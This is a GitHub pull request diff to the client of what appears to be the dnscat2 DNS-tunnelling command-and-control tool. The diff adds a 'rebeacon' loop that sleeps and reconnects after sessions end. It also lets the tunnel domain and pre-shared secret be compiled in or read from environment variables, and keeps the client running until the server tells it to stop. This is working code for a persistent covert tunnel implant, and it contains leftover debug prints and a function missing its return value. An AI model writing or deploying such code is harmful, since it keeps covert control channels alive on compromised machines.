Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Implement basic reconnect/rebeacon #137

Open
wants to merge 3 commits into
base: master
Choose a base branch
from
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
3 changes: 2 additions & 1 deletion client/controller/controller.c
Original file line number Diff line number Diff line change
Expand Up @@ -172,7 +172,8 @@ uint8_t *controller_get_outgoing(size_t *length, size_t max_length)
{
/* TODO: Drop to a "probe for sessions" mode instead. */
LOG_FATAL("There are no active sessions left! Goodbye!");
exit(0);
rebeacon=1;
/* exit(0); */
return NULL;
}

Expand Down
2 changes: 1 addition & 1 deletion client/controller/session.c
Original file line number Diff line number Diff line change
Expand Up @@ -434,7 +434,7 @@ static NBBOOL _handle_fin(session_t *session, packet_t *packet)
you_can_transmit_now(session);
session->missed_transmissions = 0;
session_kill(session);

toexit=1;
return TRUE;
}

Expand Down
2 changes: 2 additions & 0 deletions client/controller/session.h
Original file line number Diff line number Diff line change
Expand Up @@ -21,6 +21,8 @@
#include "libs/crypto/encryptor.h"
#endif

extern int toexit;

typedef enum
{
#ifndef NO_ENCRYPTION
Expand Down
110 changes: 105 additions & 5 deletions client/dnscat.c
Original file line number Diff line number Diff line change
Expand Up @@ -40,11 +40,21 @@
#define DEFAULT_DNS_HOST NULL
#define DEFAULT_DNS_PORT 53

/* Compile static parameters
#define DNS_DOMAIN "example.org"
#define DNS_SECRET "xxxxx"
#define DNS_DELAY 1000
#define DNS_RETRY 10
#define DNS_RETRY_DELAY 5
*/

/* Define these outside the function so they can be freed by the atexec() */
select_group_t *group = NULL;
driver_dns_t *tunnel_driver = NULL;
char *system_dns = NULL;

int toexit=0;

typedef struct
{
char *process;
Expand Down Expand Up @@ -152,6 +162,16 @@ typedef struct
};
} make_tunnel_driver_t;

static void cleanuploop(void)
{
LOG_WARNING("TerminatingLoop");

if(tunnel_driver)
driver_dns_destroy(tunnel_driver);

print_memory();
}

static void cleanup(void)
{
LOG_WARNING("Terminating");
Expand All @@ -170,6 +190,21 @@ static void cleanup(void)
print_memory();
}

static void cleanupexit(void)
{
LOG_WARNING("TerminatingExit");

controller_destroy();

if(group)
select_group_destroy(group);

if(system_dns)
safe_free(system_dns);

print_memory();
}

void usage(char *name, char *message)
{
fprintf(stderr,
Expand Down Expand Up @@ -410,6 +445,12 @@ int main(int argc, char *argv[])

log_level_t min_log_level = LOG_LEVEL_WARNING;

int count=0;
int maxcount=3;
int started=1;
int sleepfor=3600;


group = select_group_create();
system_dns = dns_get_system();

Expand All @@ -421,16 +462,20 @@ int main(int argc, char *argv[])

#ifndef WIN32
/* set the SIGCHLD handler to SIG_IGN causing zombie child processes to be reaped automatically */
if(signal(SIGCHLD, SIG_IGN) == SIG_ERR)
if(signal(SIGCHLD, SIG_IGN) == SIG_ERR)
{
perror("Couldn't set SIGCHLD handler to SIG_IGN");
exit(1);
}
}
#endif

/* Set the default log level */
log_set_min_console_level(min_log_level);

#ifdef DNS_DELAY
session_set_delay(DNS_DELAY);
#endif

/* Parse the command line options. */
opterr = 0;
while((c = getopt_long_only(argc, argv, "", long_options, &option_index)) != -1)
Expand Down Expand Up @@ -557,16 +602,61 @@ int main(int argc, char *argv[])
}
}



#ifdef DNS_RETRY
maxcount=DNS_RETRY;
#endif

#ifdef DNS_RETRY_DELAY
sleepfor=DNS_RETRY_DELAY;
#endif

/* Be sure we clean up at exit. */
/* atexit(cleanup); */

while ( maxcount<0 || count++<maxcount ) {
printf("Retry %d/%d\n",count,maxcount);
if (started==0) {
printf("Sleeping for %d\n", sleepfor);
#ifdef WIN32
Sleep(sleepfor*1000);
#else
sleep(sleepfor);
#endif
} else {
started=0;
}


#ifdef DEFAULT_DNS_FOREVER
controller_set_max_retransmits(-1);
#endif

#ifdef DNS_SECRET
session_set_preshared_secret(DNS_SECRET);
#endif


printf("2.First try %d\n",count);

if(getenv("DNSCAT_DOMAIN")!=NULL) {
if(getenv("DNSCAT_SECRET")!=NULL) {
session_set_preshared_secret(getenv("DNSCAT_SECRET"));
}
tunnel_driver = create_dns_driver_internal(group, getenv("DNSCAT_DOMAIN"), "0.0.0.0", 53, DEFAULT_TYPES, NULL);
tunnel_driver_created = TRUE;
} else {
#ifdef DNS_DOMAIN
tunnel_driver = create_dns_driver_internal(group, DNS_DOMAIN, "0.0.0.0", 53, DEFAULT_TYPES, NULL);
tunnel_driver_created = TRUE;
#endif
}
printf("2.5First try %d\n",count);

create_drivers(drivers_to_create);
ll_destroy(drivers_to_create);

printf("3.First try %d\n",count);

if(tunnel_driver_created && argv[optind])
{
Expand Down Expand Up @@ -594,12 +684,22 @@ int main(int argc, char *argv[])
tunnel_driver = create_dns_driver_internal(group, argv[optind], "0.0.0.0", 53, DEFAULT_TYPES, NULL);
}
}
printf("4.First try %d\n",count);

/* Be sure we clean up at exit. */
atexit(cleanup);

/* Start the driver! */
printf("=%d\n",tunnel_driver->is_closed);
driver_dns_go(tunnel_driver);
printf("Cleanuploop\n");
cleanuploop();
if (toexit==1) {
printf("Server asked to shutdown. Exiting\n");
break;
}
}
printf("Cleanupexit\n");
ll_destroy(drivers_to_create);
cleanupexit();

return 0;
}
3 changes: 2 additions & 1 deletion client/libs/select_group.c
Original file line number Diff line number Diff line change
Expand Up @@ -429,7 +429,7 @@ static void handle_incoming_connection(select_group_t *group, size_t i)
select_handle_response(group, s, SG_LISTEN(group, i)(group, s, SG_PARAM(group, i)));
}

void select_group_do_select(select_group_t *group, int timeout_ms)
int select_group_do_select(select_group_t *group, int timeout_ms)
{
fd_set read_set;
fd_set write_set;
Expand Down Expand Up @@ -605,6 +605,7 @@ void select_group_do_select(select_group_t *group, int timeout_ms)
}
}
}
return 0;
}

NBBOOL select_group_wait_for_bytes(select_group_t *group, int s, size_t bytes)
Expand Down
2 changes: 1 addition & 1 deletion client/libs/select_group.h
Original file line number Diff line number Diff line change
Expand Up @@ -219,7 +219,7 @@ NBBOOL select_group_remove_and_close_socket(select_group_t *group, int s);
* Note that the timeout (and therefore the timeout callback) only fires if _every_ socket is idle.
* If timeout_ms < 0, it will block indefinitely (till data arrives on any socket). Because of polling,
* on Windows, timeout_ms actually has a resolution defined by TIMEOUT_INTERVAL. */
void select_group_do_select(select_group_t *group, int timeout_ms);
int select_group_do_select(select_group_t *group, int timeout_ms);

/* Wait for the given number of bytes to arrive on the socket, rather than any number of bytes. This doesn't
* work for datagram sockets.
Expand Down
14 changes: 11 additions & 3 deletions client/tunnel_drivers/driver_dns.c
Original file line number Diff line number Diff line change
Expand Up @@ -24,6 +24,8 @@
#define MAX_DNS_LENGTH 255
#define WILDCARD_PREFIX "dnscat"

int rebeacon=0;

/* The max length is a little complicated:
* 255 because that's the max DNS length
* Halved, because we encode in hex
Expand Down Expand Up @@ -454,12 +456,18 @@ void driver_dns_destroy(driver_dns_t *driver)
safe_free(driver);
}

void driver_dns_go(driver_dns_t *driver)
int driver_dns_go(driver_dns_t *driver)
{
int x;
/* Do a fake timeout at the start so we can get going more quickly. */
timeout_callback(driver->group, driver);

/* Loop forever and poke the socket. */
while(TRUE)
select_group_do_select(driver->group, 50);
while(rebeacon==0) {
x=select_group_do_select(driver->group, 50);
/* printf("TEST %d %d\n", rebeacon, x); */
}
rebeacon=0;

printf("OUT\n");
}
4 changes: 3 additions & 1 deletion client/tunnel_drivers/driver_dns.h
Original file line number Diff line number Diff line change
Expand Up @@ -31,6 +31,8 @@
/* The maximum number of types that can be selected amongst. */
#define DNS_MAX_TYPES 32

extern int rebeacon;

typedef struct
{
int s;
Expand All @@ -49,6 +51,6 @@ typedef struct

driver_dns_t *driver_dns_create(select_group_t *group, char *domain, char *host, uint16_t port, char *types, char *server);
void driver_dns_destroy();
void driver_dns_go(driver_dns_t *driver);
int driver_dns_go(driver_dns_t *driver);

#endif